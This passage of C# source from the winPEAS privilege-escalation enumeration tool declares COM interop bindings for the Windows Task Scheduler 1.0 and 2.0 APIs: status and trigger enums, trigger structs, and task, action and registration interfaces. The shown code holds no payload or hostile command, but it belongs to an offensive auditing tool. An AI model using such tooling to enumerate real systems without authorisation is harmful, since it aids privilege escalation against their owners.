HResult.SCHED_S_TASK_NOT_SCHEDULED, /// The task has not yet run. NeverRun = HResult.SCHED_S_TASK_HAS_NOT_RUN, /// The task will not run at the scheduled times because it has been disabled. Disabled = HResult.SCHED_S_TASK_DISABLED, /// There are no more runs scheduled for this task. NoMoreRuns = HResult.SCHED_S_TASK_NO_MORE_RUNS, /// The last run of the task was terminated by the user. Terminated = HResult.SCHED_S_TASK_TERMINATED, /// Either the task has no triggers or the existing triggers are disabled or not set. NoTriggers = HResult.SCHED_S_TASK_NO_VALID_TRIGGERS, /// Event triggers don't have set run times. NoTriggerTime = HResult.SCHED_S_EVENT_TRIGGER } /// Valid types of triggers internal enum TaskTriggerType { /// Trigger is set to run the task a single time. RunOnce = 0, /// Trigger is set to run the task on a daily interval. RunDaily = 1, /// Trigger is set to run the work item on specific days of a specific week of a specific month. RunWeekly = 2, /// Trigger is set to run the task on a specific day(s) of the month. RunMonthly = 3, /// Trigger is set to run the task on specific days, weeks, and months. RunMonthlyDOW = 4, /// Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. OnIdle = 5, /// Trigger is set to run the task at system startup. OnSystemStart = 6, /// Trigger is set to run the task when a user logs on. OnLogon = 7 } [Flags] internal enum TaskTriggerFlags : uint { HasEndDate = 0x1, KillAtDurationEnd = 0x2, Disabled = 0x4 } #endregion #region Structs [StructLayout(LayoutKind.Sequential)] internal struct Daily { public ushort DaysInterval; } [StructLayout(LayoutKind.Sequential)] internal struct Weekly { public ushort WeeksInterval; public DaysOfTheWeek DaysOfTheWeek; } [StructLayout(LayoutKind.Sequential)] internal struct MonthlyDate { public uint Days; public MonthsOfTheYear Months; } [StructLayout(LayoutKind.Sequential)] internal struct MonthlyDOW { public ushort WhichWeek; public DaysOfTheWeek DaysOfTheWeek; public MonthsOfTheYear Months; public WhichWeek V2WhichWeek { get { return (WhichWeek)(1 << ((short)WhichWeek - 1)); } set { int idx = Array.IndexOf(new short[] { 0x1, 0x2, 0x4, 0x8, 0x10 }, (short)value); if (idx >= 0) WhichWeek = (ushort)(idx + 1); else throw new NotV1SupportedException("Only a single week can be set with Task Scheduler 1.0."); } } } [StructLayout(LayoutKind.Explicit)] internal struct TriggerTypeData { [FieldOffset(0)] public Daily daily; [FieldOffset(0)] public Weekly weekly; [FieldOffset(0)] public MonthlyDate monthlyDate; [FieldOffset(0)] public MonthlyDOW monthlyDOW; } [StructLayout(LayoutKind.Sequential)] internal struct TaskTrigger { public ushort TriggerSize; // Structure size. public ushort Reserved1; // Reserved. Must be zero. public ushort BeginYear; // Trigger beginning date year. public ushort BeginMonth; // Trigger beginning date month. public ushort BeginDay; // Trigger beginning date day. public ushort EndYear; // Optional trigger ending date year. public ushort EndMonth; // Optional trigger ending date month. public ushort EndDay; // Optional trigger ending date day. public ushort StartHour; // Run bracket start time hour. public ushort StartMinute; // Run bracket start time minute. public uint MinutesDuration; // Duration of run bracket. public uint MinutesInterval; // Run bracket repetition interval. public TaskTriggerFlags Flags; // Trigger flags. public TaskTriggerType Type; // Trigger type. public TriggerTypeData Data; // Trigger data peculiar to this type (union). public ushort Reserved2; // Reserved. Must be zero. public ushort RandomMinutesInterval; // Maximum number of random minutes after start time. public DateTime BeginDate { get { try { return BeginYear == 0 ? DateTime.MinValue : new DateTime(BeginYear, BeginMonth, BeginDay, StartHour, StartMinute, 0, DateTimeKind.Unspecified); } catch { return DateTime.MinValue; } } set { if (value != DateTime.MinValue) { DateTime local = value.Kind == DateTimeKind.Utc ? value.ToLocalTime() : value; BeginYear = (ushort)local.Year; BeginMonth = (ushort)local.Month; BeginDay = (ushort)local.Day; StartHour = (ushort)local.Hour; StartMinute = (ushort)local.Minute; } else BeginYear = BeginMonth = BeginDay = StartHour = StartMinute = 0; } } public DateTime? EndDate { get { try { return EndYear == 0 ? (DateTime?)null : new DateTime(EndYear, EndMonth, EndDay); } catch { return DateTime.MaxValue; } } set { if (value.HasValue) { EndYear = (ushort)value.Value.Year; EndMonth = (ushort)value.Value.Month; EndDay = (ushort)value.Value.Day; Flags |= TaskTriggerFlags.HasEndDate; } else { EndYear = EndMonth = EndDay = 0; Flags &= ~TaskTriggerFlags.HasEndDate; } } } public override string ToString() => $"Trigger Type: {Type};\n> Start: {BeginDate}; End: {(EndYear == 0 ? "null" : EndDate?.ToString())};\n> DurMin: {MinutesDuration}; DurItv: {MinutesInterval};\n>"; } #endregion [ComImport, Guid("148BD527-A2AB-11CE-B11F-00AA00530503"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity, CoClass(typeof(CTaskScheduler))] internal interface ITaskScheduler { void SetTargetComputer([In, MarshalAs(UnmanagedType.LPWStr)] string Computer); CoTaskMemString GetTargetComputer(); [return: MarshalAs(UnmanagedType.Interface)] IEnumWorkItems Enum(); [return: MarshalAs(UnmanagedType.Interface)] ITask Activate([In, MarshalAs(UnmanagedType.LPWStr)][NotNull] string Name, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid); void Delete([In, MarshalAs(UnmanagedType.LPWStr)][NotNull] string Name); [return: MarshalAs(UnmanagedType.Interface)] ITask NewWorkItem([In, MarshalAs(UnmanagedType.LPWStr)][NotNull] string TaskName, [In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid); void AddWorkItem([In, MarshalAs(UnmanagedType.LPWStr)][NotNull] string TaskName, [In, MarshalAs(UnmanagedType.Interface)] ITask WorkItem); void IsOfType([In, MarshalAs(UnmanagedType.LPWStr)][NotNull] string TaskName, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid); } [Guid("148BD528-A2AB-11CE-B11F-00AA00530503"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity] internal interface IEnumWorkItems { [PreserveSig()] //int Next([In] uint celt, [Out, MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.LPWStr, SizeParamIndex = 0)] out string[] rgpwszNames, [Out] out uint pceltFetched); int Next([In] uint RequestCount, [Out] out IntPtr Names, [Out] out uint Fetched); void Skip([In] uint Count); void Reset(); [return: MarshalAs(UnmanagedType.Interface)] IEnumWorkItems Clone(); } #if WorkItem // The IScheduledWorkItem interface is actually never used because ITask inherits all of its // methods. As ITask is the only kind of WorkItem (in 2002) it is the only interface we need. [Guid("a6b952f0-a4b1-11d0-997d-00aa006887ec"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] internal interface IScheduledWorkItem { void CreateTrigger([Out] out ushort NewTriggerIndex, [Out, MarshalAs(UnmanagedType.Interface)] out ITaskTrigger Trigger); void DeleteTrigger([In] ushort TriggerIndex); void GetTriggerCount([Out] out ushort Count); void GetTrigger([In] ushort TriggerIndex, [Out, MarshalAs(UnmanagedType.Interface)] out ITaskTrigger Trigger); void GetTriggerString([In] ushort TriggerIndex, out System.IntPtr TriggerString); void GetRunTimes([In, MarshalAs(UnmanagedType.Struct)] SystemTime Begin, [In, MarshalAs(UnmanagedType.Struct)] SystemTime End, ref ushort Count, [Out] out System.IntPtr TaskTimes); void GetNextRunTime([In, Out, MarshalAs(UnmanagedType.Struct)] ref SystemTime NextRun); void SetIdleWait([In] ushort IdleMinutes, [In] ushort DeadlineMinutes); void GetIdleWait([Out] out ushort IdleMinutes, [Out] out ushort DeadlineMinutes); void Run(); void Terminate(); void EditWorkItem([In] uint hParent, [In] uint dwReserved); void GetMostRecentRunTime([In, Out, MarshalAs(UnmanagedType.Struct)] ref SystemTime LastRun); void GetStatus([Out, MarshalAs(UnmanagedType.Error)] out int Status); void GetExitCode([Out] out uint ExitCode); void SetComment([In, MarshalAs(UnmanagedType.LPWStr)] string Comment); void GetComment(out System.IntPtr Comment); void SetCreator([In, MarshalAs(UnmanagedType.LPWStr)] string Creator); void GetCreator(out System.IntPtr Creator); void SetWorkItemData([In] ushort DataLen, [In, MarshalAs(UnmanagedType.LPArray, SizeParamIndex=0, ArraySubType=UnmanagedType.U1)] byte[] Data); void GetWorkItemData([Out] out ushort DataLen, [Out] out System.IntPtr Data); void SetErrorRetryCount([In] ushort RetryCount); void GetErrorRetryCount([Out] out ushort RetryCount); void SetErrorRetryInterval([In] ushort RetryInterval); void GetErrorRetryInterval([Out] out ushort RetryInterval); void SetFlags([In] uint Flags); void GetFlags([Out] out uint Flags); void SetAccountInformation([In, MarshalAs(UnmanagedType.LPWStr)] string AccountName, [In, MarshalAs(UnmanagedType.LPWStr)] string Password); void GetAccountInformation(out System.IntPtr AccountName); } #endif [ComImport, Guid("148BD524-A2AB-11CE-B11F-00AA00530503"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity, CoClass(typeof(CTask))] internal interface ITask { [return: MarshalAs(UnmanagedType.Interface)] ITaskTrigger CreateTrigger([Out] out ushort NewTriggerIndex); void DeleteTrigger([In] ushort TriggerIndex); [return: MarshalAs(UnmanagedType.U2)] ushort GetTriggerCount(); [return: MarshalAs(UnmanagedType.Interface)] ITaskTrigger GetTrigger([In] ushort TriggerIndex); CoTaskMemString GetTriggerString([In] ushort TriggerIndex); void GetRunTimes([In, MarshalAs(UnmanagedType.Struct)] ref NativeMethods.SYSTEMTIME Begin, [In, MarshalAs(UnmanagedType.Struct)] ref NativeMethods.SYSTEMTIME End, ref ushort Count, [In, Out] ref IntPtr TaskTimes); [return: MarshalAs(UnmanagedType.Struct)] NativeMethods.SYSTEMTIME GetNextRunTime(); void SetIdleWait([In] ushort IdleMinutes, [In] ushort DeadlineMinutes); void GetIdleWait([Out] out ushort IdleMinutes, [Out] out ushort DeadlineMinutes); void Run(); void Terminate(); void EditWorkItem([In] IntPtr hParent, [In] uint dwReserved); [return: MarshalAs(UnmanagedType.Struct)] NativeMethods.SYSTEMTIME GetMostRecentRunTime(); TaskStatus GetStatus(); uint GetExitCode(); void SetComment([In, MarshalAs(UnmanagedType.LPWStr)] string Comment); CoTaskMemString GetComment(); void SetCreator([In, MarshalAs(UnmanagedType.LPWStr)] string Creator); CoTaskMemString GetCreator(); void SetWorkItemData([In] ushort DataLen, [In, MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 0, ArraySubType = UnmanagedType.U1)] byte[] Data); void GetWorkItemData(out ushort DataLen, [Out] out IntPtr Data); void SetErrorRetryCount([In] ushort RetryCount); ushort GetErrorRetryCount(); void SetErrorRetryInterval([In] ushort RetryInterval); ushort GetErrorRetryInterval(); void SetFlags([In] TaskFlags Flags); TaskFlags GetFlags(); void SetAccountInformation([In, MarshalAs(UnmanagedType.LPWStr)] string AccountName, [In] IntPtr Password); CoTaskMemString GetAccountInformation(); void SetApplicationName([In, MarshalAs(UnmanagedType.LPWStr)] string ApplicationName); CoTaskMemString GetApplicationName(); void SetParameters([In, MarshalAs(UnmanagedType.LPWStr)] string Parameters); CoTaskMemString GetParameters(); void SetWorkingDirectory([In, MarshalAs(UnmanagedType.LPWStr)] string WorkingDirectory); CoTaskMemString GetWorkingDirectory(); void SetPriority([In] uint Priority); uint GetPriority(); void SetTaskFlags([In] uint Flags); uint GetTaskFlags(); void SetMaxRunTime([In] uint MaxRunTimeMS); uint GetMaxRunTime(); } [Guid("148BD52B-A2AB-11CE-B11F-00AA00530503"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity] internal interface ITaskTrigger { void SetTrigger([In, Out, MarshalAs(UnmanagedType.Struct)] ref TaskTrigger Trigger); [return: MarshalAs(UnmanagedType.Struct)] TaskTrigger GetTrigger(); CoTaskMemString GetTriggerString(); } [ComImport, Guid("148BD52A-A2AB-11CE-B11F-00AA00530503"), System.Security.SuppressUnmanagedCodeSecurity, ClassInterface(ClassInterfaceType.None)] internal class CTaskScheduler { } [ComImport, Guid("148BD520-A2AB-11CE-B11F-00AA00530503"), System.Security.SuppressUnmanagedCodeSecurity, ClassInterface(ClassInterfaceType.None)] internal class CTask { } internal sealed class CoTaskMemString : SafeHandle { public CoTaskMemString() : base(IntPtr.Zero, true) { } public CoTaskMemString(IntPtr handle) : this() { SetHandle(handle); } public CoTaskMemString(string text) : this() { SetHandle(Marshal.StringToCoTaskMemUni(text)); } public static implicit operator string(CoTaskMemString cmem) => cmem.ToString(); public override bool IsInvalid => handle == IntPtr.Zero; protected override bool ReleaseHandle() { Marshal.FreeCoTaskMem(handle); return true; } public override string ToString() => Marshal.PtrToStringUni(handle); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/V1/TaskSchedulerV1Schema.xsd ================================================  ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/V2/TaskSchedulerV2Interop.cs ================================================ using System; using System.Collections; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using winPEAS.TaskScheduler.TaskEditor.Native; namespace winPEAS.TaskScheduler.V2 { internal enum TaskEnumFlags { Hidden = 1 } #pragma warning disable CS0618 // Type or member is obsolete [ComImport, Guid("BAE54997-48B1-4CBE-9965-D6BE263EBEA4"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IAction { string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } TaskActionType Type { get; } } [ComImport, Guid("02820E19-7B98-4ED2-B2E8-FDCCCEFF619B"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IActionCollection { int Count { get; } IAction this[int index] { [return: MarshalAs(UnmanagedType.Interface)] get; } [return: MarshalAs(UnmanagedType.Interface)] IEnumerator GetEnumerator(); string XmlText { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } [return: MarshalAs(UnmanagedType.Interface)] IAction Create([In] TaskActionType Type); void Remove([In, MarshalAs(UnmanagedType.Struct)][NotNull] object index); void Clear(); string Context { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("2A9C35DA-D357-41F4-BBC1-207AC1B1F3CB"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IBootTrigger : ITrigger { new TaskTriggerType Type { get; } new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } string Delay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("6D2FD252-75C5-4F66-90BA-2A7D8CC3039F"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IComHandlerAction : IAction { new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new TaskActionType Type { get; } string ClassId { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Data { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, InterfaceType(ComInterfaceType.InterfaceIsDual), Guid("126C5CD8-B288-41D5-8DBF-E491446ADC5C"), System.Security.SuppressUnmanagedCodeSecurity] internal interface IDailyTrigger : ITrigger { new TaskTriggerType Type { get; } new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } short DaysInterval { get; [param: In] set; } string RandomDelay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("10F62C64-7E16-4314-A0C2-0C3683F99D40"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IEmailAction : IAction { new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new TaskActionType Type { get; } string Server { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Subject { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string To { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Cc { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Bcc { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string ReplyTo { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string From { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } ITaskNamedValueCollection HeaderFields { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } string Body { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } object[] Attachments { [return: MarshalAs(UnmanagedType.SafeArray, SafeArraySubType = VarEnum.VT_VARIANT)] get; [param: In, MarshalAs(UnmanagedType.SafeArray, SafeArraySubType = VarEnum.VT_VARIANT)] set; } } [ComImport, Guid("D45B0167-9653-4EEF-B94F-0732CA7AF251"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IEventTrigger : ITrigger { new TaskTriggerType Type { get; } new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } string Subscription { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Delay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } ITaskNamedValueCollection ValueQueries { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } } [ComImport, Guid("4C3D624D-FD6B-49A3-B9B7-09CB3CD3F047"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IExecAction : IAction { new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new TaskActionType Type { get; } string Path { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Arguments { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string WorkingDirectory { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("84594461-0053-4342-A8FD-088FABF11F32"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IIdleSettings { string IdleDuration { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string WaitTimeout { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } bool StopOnIdleEnd { get; [param: In] set; } bool RestartOnIdle { get; [param: In] set; } } [ComImport, Guid("D537D2B0-9FB3-4D34-9739-1FF5CE7B1EF3"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IIdleTrigger : ITrigger { new TaskTriggerType Type { get; } new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } } [ComImport, Guid("72DADE38-FAE4-4B3E-BAF4-5D009AF02B1C"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface ILogonTrigger : ITrigger { new TaskTriggerType Type { get; } new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } string Delay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string UserId { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("77D025A3-90FA-43AA-B52E-CDA5499B946A"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IMonthlyDOWTrigger : ITrigger { new TaskTriggerType Type { get; } new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } short DaysOfWeek { get; [param: In] set; } short WeeksOfMonth { get; [param: In] set; } short MonthsOfYear { get; [param: In] set; } bool RunOnLastWeekOfMonth { get; [param: In] set; } string RandomDelay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("97C45EF1-6B02-4A1A-9C0E-1EBFBA1500AC"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IMonthlyTrigger : ITrigger { new TaskTriggerType Type { get; } new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; } new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } new bool Enabled { get; [param: In] set; } int DaysOfMonth { get; [param: In] set; } short MonthsOfYear { get; [param: In] set; } bool RunOnLastDayOfMonth { get; [param: In] set; } string RandomDelay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("9F7DEA84-C30B-4245-80B6-00E9F646F1B4"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface INetworkSettings { string Name { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } } [ComImport, Guid("D98D51E5-C9B4-496A-A9C1-18980261CF0F"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IPrincipal { string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string DisplayName { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string UserId { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } TaskLogonType LogonType { get; set; } string GroupId { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } TaskRunLevel RunLevel { get; set; } } [ComImport, Guid("248919AE-E345-4A6D-8AEB-E0D3165C904E"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IPrincipal2 { TaskProcessTokenSidType ProcessTokenSidType { get; [param: In] set; } int RequiredPrivilegeCount { get; } string this[int index] { [return: MarshalAs(UnmanagedType.BStr)] get; } void AddRequiredPrivilege([In, MarshalAs(UnmanagedType.BStr)] string privilege); } [ComImport, Guid("9C86F320-DEE3-4DD1-B972-A303F26B061E"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity, DefaultMember("Path")] internal interface IRegisteredTask { string Name { [return: MarshalAs(UnmanagedType.BStr)] get; } string Path { [return: MarshalAs(UnmanagedType.BStr)] get; } TaskState State { get; } bool Enabled { get; set; } [return: MarshalAs(UnmanagedType.Interface)] IRunningTask Run([In, MarshalAs(UnmanagedType.Struct)] object parameters); [return: MarshalAs(UnmanagedType.Interface)] IRunningTask RunEx([In, MarshalAs(UnmanagedType.Struct)] object parameters, [In] int flags, [In] int sessionID, [In, MarshalAs(UnmanagedType.BStr)] string user); [return: MarshalAs(UnmanagedType.Interface)] IRunningTaskCollection GetInstances(int flags); DateTime LastRunTime { get; } int LastTaskResult { get; } int NumberOfMissedRuns { get; } DateTime NextRunTime { get; } ITaskDefinition Definition { [return: MarshalAs(UnmanagedType.Interface)] get; } string Xml { [return: MarshalAs(UnmanagedType.BStr)] get; } [return: MarshalAs(UnmanagedType.BStr)] string GetSecurityDescriptor(int securityInformation); void SetSecurityDescriptor([In, MarshalAs(UnmanagedType.BStr)] string sddl, [In] int flags); void Stop(int flags); [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(0x60020011)] void GetRunTimes([In] ref NativeMethods.SYSTEMTIME pstStart, [In] ref NativeMethods.SYSTEMTIME pstEnd, [In, Out] ref uint pCount, [In, Out] ref IntPtr pRunTimes); } [ComImport, Guid("86627EB4-42A7-41E4-A4D9-AC33A72F2D52"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IRegisteredTaskCollection { int Count { get; } IRegisteredTask this[object index] { [return: MarshalAs(UnmanagedType.Interface)] get; } [return: MarshalAs(UnmanagedType.Interface)] IEnumerator GetEnumerator(); } [ComImport, Guid("416D8B73-CB41-4EA1-805C-9BE9A5AC4A74"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity] internal interface IRegistrationInfo { string Description { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Author { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Version { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Date { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string Documentation { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string XmlText { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; } string URI { [return: 